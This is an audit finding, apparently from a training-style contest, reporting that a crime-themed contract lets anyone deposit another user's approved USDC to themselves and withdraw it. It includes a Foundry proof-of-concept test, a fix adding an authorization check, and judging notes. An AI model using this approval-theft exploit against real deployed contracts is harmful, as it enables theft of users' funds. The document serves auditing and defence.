Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can steal approved USDC to MoneyShelf

Description

The function Laundrette::depositTheCrimeMoneyInATM can be exploited by an attacker. it allows a user to deposit USDC into the MoneyShelf contract from an approved user's address and set the recipient address to the attacker's address. The attacker can then use the withdraw function to steal the money by exchanging CrimeMoney for USDC , leading to permanent theft. Even the GodFather cannot recover the stolen money.

Vulnerability Details

There is no access control to ensure that the msg.sender is the one depositing the money. As a result, an attacker can deposit approved funds on behalf of victims. The attacker can set the recipient address to their own and then withdraw the funds, exchanging the stolen USDC for CrimeMoney

function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
moneyShelf.depositUSDC(account, to, amount);
}
function putGunsInTheSuspendedCeiling(address account, uint256 amount) external isGodFather {
weaponShelf.deposit(account, amount);
}

Proof of Concept

The following proof of concept (PoC) demonstrates a theft scenario where the victim approves spending USDC to the MoneyShelf contract, allowing the attacker to steal this money.

//SPDX-Liecense-Identifier: MIT
pragma solidity 0.8.24;
import "./Base.t.sol";
import "./mocks/MockUSDC.sol";
contract AttackTest is BaseTest {
function test_AttackerCanStealUSDCFunds() public {
address attacker = makeAddr("Attacker");
address victim = makeAddr("Victim");
address godFather = kernel.executor();
vm.prank(kernel.admin());
kernel.grantRole(Role.wrap("gangmember"), godFather);
// Adding attacker and the victim to the gang
vm.startPrank(godFather);
laundrette.addToTheGang(attacker);
laundrette.addToTheGang(victim);
vm.stopPrank();
vm.prank(godFather);
usdc.transfer(victim, 100e6);
// Victim Approve funds to moneyShelf Contract
vm.startPrank(victim);
usdc.approve(address(moneyShelf), 100e6);
assertEq(usdc.balanceOf(victim), 100e6);
vm.stopPrank();
// Attacker Deposit the approved funds on behalf of the victim and then withdraw the money
vm.startPrank(attacker);
laundrette.depositTheCrimeMoneyInATM(victim, attacker, 100e6);
laundrette.withdrawMoney(attacker, attacker, 100e6);
vm.stopPrank();
assertEq(usdc.balanceOf(victim), 0);
assertEq(usdc.balanceOf(attacker), 100e6);
}
}

Impact

The attacker can permanently steal USDC approved for the MoneyShelf contract.

Tools Used

Foundry
Manual Review

Mitigation

+ function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external isAuthorizedOrRevert(account)
- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
moneyShelf.depositUSDC(account, to, amount);
}
function putGunsInTheSuspendedCeiling(address account, uint256 amount) external isGodFather {
weaponShelf.deposit(account, amount);
}
Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
mazonaTheAuditor Submitter
about 1 year ago
n0kto Lead Judge
about 1 year ago
mazonaTheAuditor Submitter
about 1 year ago
n0kto Lead Judge
about 1 year ago
n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.